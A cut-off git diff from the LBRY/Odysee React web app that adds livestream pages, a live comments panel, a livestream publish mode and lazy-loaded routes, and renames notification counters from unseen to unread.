||||
|
||||
if (!claim) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<Card
|
||||
title={__('Live discussion')}
|
||||
smallTitle
|
||||
className="livestream__discussion"
|
||||
actions={
|
||||
<>
|
||||
{fetchingComments && (
|
||||
<div className="main--empty">
|
||||
<Spinner />
|
||||
</div>
|
||||
)}
|
||||
<div
|
||||
ref={commentsRef}
|
||||
className={classnames('livestream__comments-wrapper', {
|
||||
'livestream__comments-wrapper--with-height': commentsLength > 0,
|
||||
})}
|
||||
>
|
||||
{!fetchingComments && comments.length > 0 ? (
|
||||
<div className="livestream__comments">
|
||||
{comments.map((comment) => (
|
||||
<div key={comment.comment_id} className={classnames('livestream__comment')}>
|
||||
{comment.channel_url ? (
|
||||
<Button
|
||||
target="_blank"
|
||||
className={classnames('livestream__comment-author', {
|
||||
'livestream__comment-author--streamer':
|
||||
claim.signing_channel && claim.signing_channel.claim_id === comment.channel_id,
|
||||
})}
|
||||
navigate={comment.channel_url}
|
||||
label={comment.channel_name}
|
||||
/>
|
||||
) : (
|
||||
<div className="livestream__comment-author">{comment.channel_name}</div>
|
||||
)}
|
||||
<MarkdownPreview content={comment.comment} simpleLinks />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<div className="main--empty" />
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="livestream__comment-create">
|
||||
<CommentCreate livestream bottom embed={embed} uri={uri} />
|
||||
</div>
|
||||
</>
|
||||
}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri } from 'lbry-redux';
|
||||
import LivestreamLayout from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select)(LivestreamLayout);
|
||||
@@ -0,0 +1,34 @@
|
||||
// @flow
|
||||
import { BITWAVE_EMBED_URL } from 'constants/livestream';
|
||||
import React from 'react';
|
||||
import FileTitleSection from 'component/fileTitleSection';
|
||||
import LivestreamComments from 'component/livestreamComments';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: ?StreamClaim,
|
||||
activeViewers: number,
|
||||
};
|
||||
|
||||
export default function LivestreamLayout(props: Props) {
|
||||
const { claim, uri, activeViewers } = props;
|
||||
|
||||
if (!claim) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<div className="section card-stack">
|
||||
<div className="file-render file-render--video livestream">
|
||||
<div className="file-viewer">
|
||||
<iframe src={`${BITWAVE_EMBED_URL}/${'doomtube'}?skin=odysee&autoplay=1`} scrolling="no" allowFullScreen />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<FileTitleSection uri={uri} livestream activeViewers={activeViewers} />
|
||||
</div>
|
||||
<LivestreamComments uri={uri} />
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { makeSelectClaimForUri } from 'lbry-redux';
|
||||
import LivestreamLink from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
channelClaim: makeSelectClaimForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select)(LivestreamLink);
|
||||
@@ -0,0 +1,68 @@
|
||||
// @flow
|
||||
import { LIVE_STREAM_TAG } from 'constants/livestream';
|
||||
import React from 'react';
|
||||
import Card from 'component/common/card';
|
||||
import ClaimPreview from 'component/claimPreview';
|
||||
import { Lbry } from 'lbry-redux';
|
||||
|
||||
type Props = {
|
||||
channelClaim: ChannelClaim,
|
||||
};
|
||||
|
||||
export default function LivestreamLink(props: Props) {
|
||||
const { channelClaim } = props;
|
||||
const [livestreamClaim, setLivestreamClaim] = React.useState(false);
|
||||
const [isLivestreaming, setIsLivestreaming] = React.useState(false);
|
||||
const livestreamChannelId = channelClaim.claim_id;
|
||||
|
||||
React.useEffect(() => {
|
||||
Lbry.claim_search({
|
||||
channel_ids: [livestreamChannelId],
|
||||
any_tags: [LIVE_STREAM_TAG],
|
||||
claim_type: ['stream'],
|
||||
})
|
||||
.then((res) => {
|
||||
if (res && res.items && res.items.length > 0) {
|
||||
const claim = res.items[0];
|
||||
setLivestreamClaim(claim);
|
||||
}
|
||||
})
|
||||
.catch(() => {});
|
||||
}, [livestreamChannelId]);
|
||||
|
||||
React.useEffect(() => {
|
||||
// function fetchIsStreaming() {
|
||||
// // fetch(``)
|
||||
// // .then((res) => res.json())
|
||||
// // .then((res) => {
|
||||
// // if (res && res.data && res.data.live) {
|
||||
// // setIsLivestreaming(true);
|
||||
// // } else {
|
||||
// // setIsLivestreaming(false);
|
||||
// // }
|
||||
// // })
|
||||
// // .catch((e) => {});
|
||||
// }
|
||||
// let interval;
|
||||
// if (livestreamChannelId) {
|
||||
// interval = setInterval(fetchIsStreaming, 5000);
|
||||
// }
|
||||
// return () => {
|
||||
// if (interval) {
|
||||
// clearInterval(interval);
|
||||
// }
|
||||
// };
|
||||
}, [livestreamChannelId]);
|
||||
|
||||
if (!livestreamClaim || !isLivestreaming) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<Card
|
||||
className="livestream__channel-link"
|
||||
title="Live stream in progress"
|
||||
actions={<ClaimPreview uri={livestreamClaim.canonical_url} livestream type="inline" />}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -67,10 +67,7 @@ function MarkdownLink(props: Props) {
|
||||
const possibleLbryUrl = linkPathPlusHash ? `lbry://${linkPathPlusHash.replace(/:/g, '#')}` : undefined;
|
||||
|
||||
const lbryLinkIsValid = possibleLbryUrl && isURIValid(possibleLbryUrl);
|
||||
const isMarkdownLinkWithLabel =
|
||||
children && Array.isArray(children) && React.Children.count(children) === 1 && children.toString() !== href;
|
||||
|
||||
if (lbryLinkIsValid && !isMarkdownLinkWithLabel) {
|
||||
if (lbryLinkIsValid) {
|
||||
lbryUrlFromLink = possibleLbryUrl;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { selectUnseenNotificationCount } from 'redux/selectors/notifications';
|
||||
import { selectUnreadNotificationCount } from 'redux/selectors/notifications';
|
||||
import { selectUser } from 'redux/selectors/user';
|
||||
import NotificationBubble from './view';
|
||||
|
||||
const select = (state) => ({
|
||||
unseenCount: selectUnseenNotificationCount(state),
|
||||
const select = state => ({
|
||||
unreadCount: selectUnreadNotificationCount(state),
|
||||
user: selectUser(state),
|
||||
});
|
||||
|
||||
|
||||
@@ -3,16 +3,16 @@ import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
|
||||
type Props = {
|
||||
unseenCount: number,
|
||||
unreadCount: number,
|
||||
inline: boolean,
|
||||
user: ?User,
|
||||
};
|
||||
|
||||
export default function NotificationHeaderButton(props: Props) {
|
||||
const { unseenCount, inline = false, user } = props;
|
||||
const { unreadCount, inline = false, user } = props;
|
||||
const notificationsEnabled = user && user.experimental_ui;
|
||||
|
||||
if (unseenCount === 0 || !notificationsEnabled) {
|
||||
if (unreadCount === 0 || !notificationsEnabled) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -24,10 +24,10 @@ export default function NotificationHeaderButton(props: Props) {
|
||||
>
|
||||
<span
|
||||
className={classnames('notification__count', {
|
||||
'notification__bubble--small': unseenCount > 9,
|
||||
'notification__bubble--small': unreadCount > 9,
|
||||
})}
|
||||
>
|
||||
{unseenCount > 20 ? '20+' : unseenCount}
|
||||
{unreadCount > 20 ? '20+' : unreadCount}
|
||||
</span>
|
||||
</span>
|
||||
);
|
||||
|
||||
@@ -28,6 +28,7 @@ type Props = {
|
||||
fullWidthPage: boolean,
|
||||
videoTheaterMode: boolean,
|
||||
isMarkdown?: boolean,
|
||||
livestream?: boolean,
|
||||
backout: {
|
||||
backLabel?: string,
|
||||
backNavDefault?: string,
|
||||
@@ -49,6 +50,7 @@ function Page(props: Props) {
|
||||
backout,
|
||||
videoTheaterMode,
|
||||
isMarkdown = false,
|
||||
livestream,
|
||||
} = props;
|
||||
|
||||
const {
|
||||
@@ -106,8 +108,9 @@ function Page(props: Props) {
|
||||
'main--full-width': fullWidthPage,
|
||||
'main--auth-page': authPage,
|
||||
'main--file-page': filePage,
|
||||
'main--theater-mode': isOnFilePage && videoTheaterMode,
|
||||
'main--markdown': isMarkdown,
|
||||
'main--theater-mode': isOnFilePage && videoTheaterMode && !livestream,
|
||||
'main--livestream': livestream,
|
||||
})}
|
||||
>
|
||||
{children}
|
||||
|
||||
@@ -6,6 +6,7 @@ import FileActions from 'component/fileActions';
|
||||
import FileRenderInitiator from 'component/fileRenderInitiator';
|
||||
import FileRenderInline from 'component/fileRenderInline';
|
||||
import FileViewCount from 'component/fileViewCount';
|
||||
import { formatCredits } from 'lbry-redux';
|
||||
import CreditAmount from 'component/common/credit-amount';
|
||||
import DateTime from 'component/dateTime';
|
||||
|
||||
@@ -22,6 +23,7 @@ function PostViewer(props: Props) {
|
||||
}
|
||||
|
||||
const amount = parseFloat(claim.amount) + parseFloat(claim.meta.support_amount);
|
||||
const formattedAmount = formatCredits(amount, 2, true);
|
||||
|
||||
return (
|
||||
<div className="post">
|
||||
@@ -31,7 +33,7 @@ function PostViewer(props: Props) {
|
||||
</span>
|
||||
</FileTitle>
|
||||
<div className="post__info">
|
||||
<CreditAmount amount={amount} />
|
||||
<CreditAmount amount={formattedAmount} />
|
||||
<FileViewCount uri={uri} />
|
||||
</div>
|
||||
|
||||
|
||||
@@ -328,6 +328,7 @@ function PublishFile(props: Props) {
|
||||
|
||||
const isPublishFile = mode === PUBLISH_MODES.FILE;
|
||||
const isPublishPost = mode === PUBLISH_MODES.POST;
|
||||
const isPublishLivestream = mode === PUBLISH_MODES.LIVESTREAM;
|
||||
|
||||
return (
|
||||
<Card
|
||||
@@ -356,7 +357,7 @@ function PublishFile(props: Props) {
|
||||
value={title}
|
||||
onChange={handleTitleChange}
|
||||
/>
|
||||
{isPublishFile && (
|
||||
{(isPublishFile || isPublishLivestream) && (
|
||||
<FileSelector
|
||||
label={__('File')}
|
||||
disabled={disabled}
|
||||
@@ -364,6 +365,14 @@ function PublishFile(props: Props) {
|
||||
onFileChosen={handleFileChange}
|
||||
/>
|
||||
)}
|
||||
|
||||
{isPublishLivestream && (
|
||||
<div className="help--warning">
|
||||
While livestreaming is in beta, you still need to choose a file to upload. Please choose a small file. No
|
||||
one will see this file.
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isPublishPost && (
|
||||
<PostEditor
|
||||
label={__('Post --[noun, markdown post tab button]--')}
|
||||
|
||||
@@ -36,6 +36,7 @@ const MODES = Object.values(PUBLISH_MODES);
|
||||
const MODE_TO_I18N_STR = {
|
||||
[PUBLISH_MODES.FILE]: 'File',
|
||||
[PUBLISH_MODES.POST]: 'Post --[noun, markdown post tab button]--',
|
||||
[PUBLISH_MODES.LIVESTREAM]: 'Livestream --[noun, livestream tab button]--',
|
||||
};
|
||||
|
||||
type Props = {
|
||||
@@ -72,14 +73,14 @@ type Props = {
|
||||
balance: number,
|
||||
isStillEditing: boolean,
|
||||
clearPublish: () => void,
|
||||
resolveUri: string => void,
|
||||
resolveUri: (string) => void,
|
||||
scrollToTop: () => void,
|
||||
prepareEdit: (claim: any, uri: string) => void,
|
||||
resetThumbnailStatus: () => void,
|
||||
amountNeededForTakeover: ?number,
|
||||
// Add back type
|
||||
updatePublishForm: any => void,
|
||||
checkAvailability: string => void,
|
||||
updatePublishForm: (any) => void,
|
||||
checkAvailability: (string) => void,
|
||||
ytSignupPending: boolean,
|
||||
modal: { id: string, modalProps: {} },
|
||||
enablePublishPreview: boolean,
|
||||
@@ -127,7 +128,7 @@ function PublishForm(props: Props) {
|
||||
} = props;
|
||||
|
||||
const TAGS_LIMIT = 5;
|
||||
const fileFormDisabled = mode === PUBLISH_MODES.FILE && !filePath;
|
||||
const fileFormDisabled = (mode === PUBLISH_MODES.FILE || mode === PUBLISH_MODES.LIVESTREAM) && !filePath;
|
||||
const emptyPostError = mode === PUBLISH_MODES.POST && (!fileText || fileText.trim() === '');
|
||||
const formDisabled = (fileFormDisabled && !editingURI) || emptyPostError || publishing;
|
||||
const isInProgress = filePath || editingURI || name || title;
|
||||
@@ -225,12 +226,20 @@ function PublishForm(props: Props) {
|
||||
}, [name, activeChannelName, resolveUri, updatePublishForm, checkAvailability]);
|
||||
|
||||
useEffect(() => {
|
||||
updatePublishForm({ isMarkdownPost: mode === PUBLISH_MODES.POST });
|
||||
updatePublishForm({
|
||||
isMarkdownPost: mode === PUBLISH_MODES.POST,
|
||||
isLivestreamPublish: mode === PUBLISH_MODES.LIVESTREAM,
|
||||
});
|
||||
}, [mode, updatePublishForm]);
|
||||
|
||||
useEffect(() => {
|
||||
if (incognito) {
|
||||
updatePublishForm({ channel: undefined });
|
||||
|
||||
// Anonymous livestreams aren't supported
|
||||
if (mode === PUBLISH_MODES.LIVESTREAM) {
|
||||
setMode(PUBLISH_MODES.FILE);
|
||||
}
|
||||
} else if (activeChannelName) {
|
||||
updatePublishForm({ channel: activeChannelName });
|
||||
}
|
||||
@@ -301,10 +310,15 @@ function PublishForm(props: Props) {
|
||||
}
|
||||
}
|
||||
// Publish file
|
||||
if (mode === PUBLISH_MODES.FILE) {
|
||||
if (mode === PUBLISH_MODES.FILE || mode === PUBLISH_MODES.LIVESTREAM) {
|
||||
runPublish = true;
|
||||
}
|
||||
|
||||
// (Try to) Prevent an anon livestream claim
|
||||
if (mode === PUBLISH_MODES.LIVESTREAM) {
|
||||
updatePublishForm({ channel: activeChannelName });
|
||||
}
|
||||
|
||||
if (runPublish) {
|
||||
if (enablePublishPreview) {
|
||||
setPreviewing(true);
|
||||
@@ -330,7 +344,10 @@ function PublishForm(props: Props) {
|
||||
// Editing claim uri
|
||||
return (
|
||||
<div className="card-stack">
|
||||
<ChannelSelect disabled={disabled} />
|
||||
<ChannelSelect
|
||||
hideAnon={mode === PUBLISH_MODES.LIVESTREAM}
|
||||
disabled={disabled}
|
||||
/>
|
||||
|
||||
<PublishFile
|
||||
uri={uri}
|
||||
@@ -373,17 +390,17 @@ function PublishForm(props: Props) {
|
||||
"Add tags that are relevant to your content so those who're looking for it can find it more easily. If mature content, ensure it is tagged mature. Tag abuse and missing mature tags will not be tolerated."
|
||||
)}
|
||||
placeholder={__('gaming, crypto')}
|
||||
onSelect={newTags => {
|
||||
onSelect={(newTags) => {
|
||||
const validatedTags = [];
|
||||
newTags.forEach(newTag => {
|
||||
if (!tags.some(tag => tag.name === newTag.name)) {
|
||||
newTags.forEach((newTag) => {
|
||||
if (!tags.some((tag) => tag.name === newTag.name)) {
|
||||
validatedTags.push(newTag);
|
||||
}
|
||||
});
|
||||
updatePublishForm({ tags: [...tags, ...validatedTags] });
|
||||
}}
|
||||
onRemove={clickedTag => {
|
||||
const newTags = tags.slice().filter(tag => tag.name !== clickedTag.name);
|
||||
onRemove={(clickedTag) => {
|
||||
const newTags = tags.slice().filter((tag) => tag.name !== clickedTag.name);
|
||||
updatePublishForm({ tags: newTags });
|
||||
}}
|
||||
tagsChosen={tags}
|
||||
|
||||
@@ -17,7 +17,7 @@ import {
|
||||
selectFetchingMyChannels,
|
||||
} from 'lbry-redux';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { selectActiveChannelClaim, selectIncognito } from 'redux/selectors/app';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import RepostCreate from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
@@ -37,7 +37,6 @@ const select = (state, props) => ({
|
||||
isResolvingEnteredRepost: props.repostUri && makeSelectIsUriResolving(`lbry://${props.repostUri}`)(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
fetchingMyChannels: selectFetchingMyChannels(state),
|
||||
incognito: selectIncognito(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
|
||||
@@ -42,7 +42,6 @@ type Props = {
|
||||
isResolvingEnteredRepost: boolean,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
fetchingMyChannels: boolean,
|
||||
incognito: boolean,
|
||||
};
|
||||
|
||||
function RepostCreate(props: Props) {
|
||||
@@ -68,7 +67,6 @@ function RepostCreate(props: Props) {
|
||||
isResolvingEnteredRepost,
|
||||
activeChannelClaim,
|
||||
fetchingMyChannels,
|
||||
incognito,
|
||||
} = props;
|
||||
|
||||
const defaultName = name || (claim && claim.name) || '';
|
||||
@@ -283,7 +281,7 @@ function RepostCreate(props: Props) {
|
||||
doRepost({
|
||||
name: enteredRepostName,
|
||||
bid: creditsToString(repostBid),
|
||||
channel_id: activeChannelClaim && !incognito ? activeChannelClaim.claim_id : undefined,
|
||||
channel_id: activeChannelClaim ? activeChannelClaim.claim_id : undefined,
|
||||
claim_id: repostClaimId,
|
||||
}).then((repostClaim: StreamClaim) => {
|
||||
doCheckPendingClaims();
|
||||
|
||||
+139
-125
@@ -1,58 +1,63 @@
|
||||
// @flow
|
||||
import * as PAGES from 'constants/pages';
|
||||
import React, { useEffect } from 'react';
|
||||
import React, { useEffect, Suspense, lazy } from 'react';
|
||||
import { Route, Redirect, Switch, withRouter } from 'react-router-dom';
|
||||
import SettingsPage from 'page/settings';
|
||||
import SettingsNotificationsPage from 'page/settingsNotifications';
|
||||
import SettingsAdvancedPage from 'page/settingsAdvanced';
|
||||
import HelpPage from 'page/help';
|
||||
|
||||
// @if TARGET='app'
|
||||
import BackupPage from 'page/backup';
|
||||
// @endif
|
||||
// @if TARGET='web'
|
||||
import Code2257Page from 'web/page/code2257';
|
||||
// @endif
|
||||
import ReportPage from 'page/report';
|
||||
import ShowPage from 'page/show';
|
||||
import PublishPage from 'page/publish';
|
||||
import DiscoverPage from 'page/discover';
|
||||
import HomePage from 'page/home';
|
||||
import InvitedPage from 'page/invited';
|
||||
import RewardsPage from 'page/rewards';
|
||||
import FileListPublished from 'page/fileListPublished';
|
||||
import InvitePage from 'page/invite';
|
||||
import SearchPage from 'page/search';
|
||||
import LibraryPage from 'page/library';
|
||||
import WalletPage from 'page/wallet';
|
||||
import TagsFollowingPage from 'page/tagsFollowing';
|
||||
import ChannelsFollowingPage from 'page/channelsFollowing';
|
||||
import ChannelsFollowingDiscoverPage from 'page/channelsFollowingDiscover';
|
||||
import TagsFollowingManagePage from 'page/tagsFollowingManage';
|
||||
import ListBlockedPage from 'page/listBlocked';
|
||||
import FourOhFourPage from 'page/fourOhFour';
|
||||
import SignInPage from 'page/signIn';
|
||||
import SignUpPage from 'page/signUp';
|
||||
import PasswordResetPage from 'page/passwordReset';
|
||||
import PasswordSetPage from 'page/passwordSet';
|
||||
import SignInVerifyPage from 'page/signInVerify';
|
||||
import ChannelsPage from 'page/channels';
|
||||
import EmbedWrapperPage from 'page/embedWrapper';
|
||||
import TopPage from 'page/top';
|
||||
import Welcome from 'page/welcome';
|
||||
import CreatorDashboard from 'page/creatorDashboard';
|
||||
import RewardsVerifyPage from 'page/rewardsVerify';
|
||||
import CheckoutPage from 'page/checkoutPage';
|
||||
import ChannelNew from 'page/channelNew';
|
||||
import RepostNew from 'page/repost';
|
||||
import BuyPage from 'page/buy';
|
||||
import NotificationsPage from 'page/notifications';
|
||||
import SignInWalletPasswordPage from 'page/signInWalletPassword';
|
||||
import YoutubeSyncPage from 'page/youtubeSync';
|
||||
|
||||
// constants
|
||||
import * as PAGES from 'constants/pages';
|
||||
import { LINKED_COMMENT_QUERY_PARAM } from 'constants/comment';
|
||||
import { parseURI, isURIValid } from 'lbry-redux';
|
||||
import { SITE_TITLE, WELCOME_VERSION } from 'config';
|
||||
|
||||
// Code Splitting
|
||||
const BuyPage = lazy(() => import('page/buy'));
|
||||
const ChannelsPage = lazy(() => import('page/channels'));
|
||||
const ChannelsFollowingPage = lazy(() => import('page/channelsFollowing'));
|
||||
const ChannelsFollowingDiscoverPage = lazy(() => import('page/channelsFollowingDiscover'));
|
||||
const CreatorDashboard = lazy(() => import('page/creatorDashboard'));
|
||||
const CheckoutPage = lazy(() => import('page/checkoutPage'));
|
||||
const ChannelNew = lazy(() => import('page/channelNew'));
|
||||
const DiscoverPage = lazy(() => import('page/discover'));
|
||||
const EmbedWrapperPage = lazy(() => import('page/embedWrapper'));
|
||||
const FileListPublished = lazy(() => import('page/fileListPublished'));
|
||||
const FourOhFourPage = lazy(() => import('page/fourOhFour'));
|
||||
const HelpPage = lazy(() => import('page/help'));
|
||||
const HomePage = lazy(() => import('page/home'));
|
||||
const InvitedPage = lazy(() => import('page/invited'));
|
||||
const InvitePage = lazy(() => import('page/invite'));
|
||||
const LiveStreamPage = lazy(() => import('page/livestream'));
|
||||
const LibraryPage = lazy(() => import('page/library'));
|
||||
const ListBlockedPage = lazy(() => import('page/listBlocked'));
|
||||
const NotificationsPage = lazy(() => import('page/notifications'));
|
||||
const PasswordResetPage = lazy(() => import('page/passwordReset'));
|
||||
const PasswordSetPage = lazy(() => import('page/passwordSet'));
|
||||
const PublishPage = lazy(() => import('page/publish'));
|
||||
const RewardsPage = lazy(() => import('page/rewards'));
|
||||
const RewardsVerifyPage = lazy(() => import('page/rewardsVerify'));
|
||||
const ReportPage = lazy(() => import('page/report'));
|
||||
const RepostNew = lazy(() => import('page/repost'));
|
||||
const SignInPage = lazy(() => import('page/signIn'));
|
||||
const SignUpPage = lazy(() => import('page/signUp'));
|
||||
const SignInVerifyPage = lazy(() => import('page/signInVerify'));
|
||||
const SearchPage = lazy(() => import('page/search'));
|
||||
const SettingsPage = lazy(() => import('page/settings'));
|
||||
const SettingsNotificationsPage = lazy(() => import('page/settingsNotifications'));
|
||||
const SettingsAdvancedPage = lazy(() => import('page/settingsAdvanced'));
|
||||
const SignInWalletPasswordPage = lazy(() => import('page/signInWalletPassword'));
|
||||
const ShowPage = lazy(() => import('page/show'));
|
||||
const TagsFollowingPage = lazy(() => import('page/tagsFollowing'));
|
||||
const TagsFollowingManagePage = lazy(() => import('page/tagsFollowingManage'));
|
||||
const TopPage = lazy(() => import('page/top'));
|
||||
const WalletPage = lazy(() => import('page/wallet'));
|
||||
const Welcome = lazy(() => import('page/welcome'));
|
||||
const YoutubeSyncPage = lazy(() => import('page/youtubeSync'));
|
||||
|
||||
// Tell the browser we are handling scroll restoration
|
||||
if ('scrollRestoration' in history) {
|
||||
history.scrollRestoration = 'manual';
|
||||
@@ -91,7 +96,12 @@ type PrivateRouteProps = Props & {
|
||||
};
|
||||
|
||||
function PrivateRoute(props: PrivateRouteProps) {
|
||||
const { component: Component, isAuthenticated, ...rest } = props;
|
||||
const {
|
||||
component: Component,
|
||||
isAuthenticated,
|
||||
...rest
|
||||
} = props;
|
||||
|
||||
return (
|
||||
<Route
|
||||
{...rest}
|
||||
@@ -121,6 +131,7 @@ function AppRouter(props: Props) {
|
||||
setReferrer,
|
||||
homepageData,
|
||||
} = props;
|
||||
|
||||
const { entries } = history;
|
||||
const entryIndex = history.index;
|
||||
const urlParams = new URLSearchParams(search);
|
||||
@@ -199,93 +210,96 @@ function AppRouter(props: Props) {
|
||||
}
|
||||
|
||||
return (
|
||||
<Switch>
|
||||
{/* @if TARGET='app' */}
|
||||
{welcomeVersion < WELCOME_VERSION && <Route path="/*" component={Welcome} />}
|
||||
{/* @endif */}
|
||||
<Redirect
|
||||
from={`/$/${PAGES.DEPRECATED__CHANNELS_FOLLOWING_MANAGE}`}
|
||||
to={`/$/${PAGES.CHANNELS_FOLLOWING_DISCOVER}`}
|
||||
/>
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__CHANNELS_FOLLOWING}`} to={`/$/${PAGES.CHANNELS_FOLLOWING}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__TAGS_FOLLOWING}`} to={`/$/${PAGES.TAGS_FOLLOWING}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__TAGS_FOLLOWING_MANAGE}`} to={`/$/${PAGES.TAGS_FOLLOWING_MANAGE}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__PUBLISH}`} to={`/$/${PAGES.UPLOAD}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__PUBLISHED}`} to={`/$/${PAGES.UPLOADS}`} />
|
||||
|
||||
<Route path={`/`} exact component={HomePage} />
|
||||
<Route path={`/$/${PAGES.DISCOVER}`} exact component={DiscoverPage} />
|
||||
{/* $FlowFixMe */}
|
||||
{dynamicRoutes.map((dynamicRouteProps: RowDataItem) => (
|
||||
<Route
|
||||
key={dynamicRouteProps.route}
|
||||
path={dynamicRouteProps.route}
|
||||
component={(routerProps) => <DiscoverPage {...routerProps} dynamicRouteProps={dynamicRouteProps} />}
|
||||
<Suspense fallback={<div>Loading...</div>}>
|
||||
<Switch>
|
||||
{/* @if TARGET='app' */}
|
||||
{welcomeVersion < WELCOME_VERSION && <Route path="/*" component={Welcome} />}
|
||||
{/* @endif */}
|
||||
<Redirect
|
||||
from={`/$/${PAGES.DEPRECATED__CHANNELS_FOLLOWING_MANAGE}`}
|
||||
to={`/$/${PAGES.CHANNELS_FOLLOWING_DISCOVER}`}
|
||||
/>
|
||||
))}
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__CHANNELS_FOLLOWING}`} to={`/$/${PAGES.CHANNELS_FOLLOWING}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__TAGS_FOLLOWING}`} to={`/$/${PAGES.TAGS_FOLLOWING}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__TAGS_FOLLOWING_MANAGE}`} to={`/$/${PAGES.TAGS_FOLLOWING_MANAGE}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__PUBLISH}`} to={`/$/${PAGES.UPLOAD}`} />
|
||||
<Redirect from={`/$/${PAGES.DEPRECATED__PUBLISHED}`} to={`/$/${PAGES.UPLOADS}`} />
|
||||
|
||||
<Route path={`/$/${PAGES.AUTH_SIGNIN}`} exact component={SignInPage} />
|
||||
<Route path={`/$/${PAGES.AUTH_PASSWORD_RESET}`} exact component={PasswordResetPage} />
|
||||
<Route path={`/$/${PAGES.AUTH_PASSWORD_SET}`} exact component={PasswordSetPage} />
|
||||
<Route path={`/$/${PAGES.AUTH}`} exact component={SignUpPage} />
|
||||
<Route path={`/$/${PAGES.AUTH}/*`} exact component={SignUpPage} />
|
||||
<Route path={`/$/${PAGES.WELCOME}`} exact component={Welcome} />
|
||||
<Route path={`/`} exact component={HomePage} />
|
||||
<Route path={`/$/${PAGES.DISCOVER}`} exact component={DiscoverPage} />
|
||||
{/* $FlowFixMe */}
|
||||
{dynamicRoutes.map((dynamicRouteProps: RowDataItem) => (
|
||||
<Route
|
||||
key={dynamicRouteProps.route}
|
||||
path={dynamicRouteProps.route}
|
||||
component={(routerProps) => <DiscoverPage {...routerProps} dynamicRouteProps={dynamicRouteProps} />}
|
||||
/>
|
||||
))}
|
||||
|
||||
<Route path={`/$/${PAGES.HELP}`} exact component={HelpPage} />
|
||||
{/* @if TARGET='app' */}
|
||||
<Route path={`/$/${PAGES.BACKUP}`} exact component={BackupPage} />
|
||||
{/* @endif */}
|
||||
{/* @if TARGET='web' */}
|
||||
<Route path={`/$/${PAGES.CODE_2257}`} exact component={Code2257Page} />
|
||||
{/* @endif */}
|
||||
<Route path={`/$/${PAGES.AUTH_VERIFY}`} exact component={SignInVerifyPage} />
|
||||
<Route path={`/$/${PAGES.SEARCH}`} exact component={SearchPage} />
|
||||
<Route path={`/$/${PAGES.TOP}`} exact component={TopPage} />
|
||||
<Route path={`/$/${PAGES.SETTINGS}`} exact component={SettingsPage} />
|
||||
<Route path={`/$/${PAGES.SETTINGS_ADVANCED}`} exact component={SettingsAdvancedPage} />
|
||||
<Route path={`/$/${PAGES.INVITE}/:referrer`} exact component={InvitedPage} />
|
||||
<Route path={`/$/${PAGES.CHECKOUT}`} exact component={CheckoutPage} />
|
||||
<Route path={`/$/${PAGES.AUTH_SIGNIN}`} exact component={SignInPage} />
|
||||
<Route path={`/$/${PAGES.AUTH_PASSWORD_RESET}`} exact component={PasswordResetPage} />
|
||||
<Route path={`/$/${PAGES.AUTH_PASSWORD_SET}`} exact component={PasswordSetPage} />
|
||||
<Route path={`/$/${PAGES.AUTH}`} exact component={SignUpPage} />
|
||||
<Route path={`/$/${PAGES.AUTH}/*`} exact component={SignUpPage} />
|
||||
<Route path={`/$/${PAGES.WELCOME}`} exact component={Welcome} />
|
||||
|
||||
<PrivateRoute {...props} exact path={`/$/${PAGES.YOUTUBE_SYNC}`} component={YoutubeSyncPage} />
|
||||
<PrivateRoute {...props} exact path={`/$/${PAGES.TAGS_FOLLOWING}`} component={TagsFollowingPage} />
|
||||
<PrivateRoute
|
||||
{...props}
|
||||
exact
|
||||
path={`/$/${PAGES.CHANNELS_FOLLOWING}`}
|
||||
component={isAuthenticated || !IS_WEB ? ChannelsFollowingPage : DiscoverPage}
|
||||
/>
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.SETTINGS_NOTIFICATIONS}`} component={SettingsNotificationsPage} />
|
||||
<PrivateRoute
|
||||
{...props}
|
||||
exact
|
||||
path={`/$/${PAGES.CHANNELS_FOLLOWING_DISCOVER}`}
|
||||
component={ChannelsFollowingDiscoverPage}
|
||||
/>
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.INVITE}`} component={InvitePage} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.CHANNEL_NEW}`} component={ChannelNew} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.REPOST_NEW}`} component={RepostNew} />
|
||||
<PrivateRoute {...props} path={`/$/${PAGES.UPLOADS}`} component={FileListPublished} />
|
||||
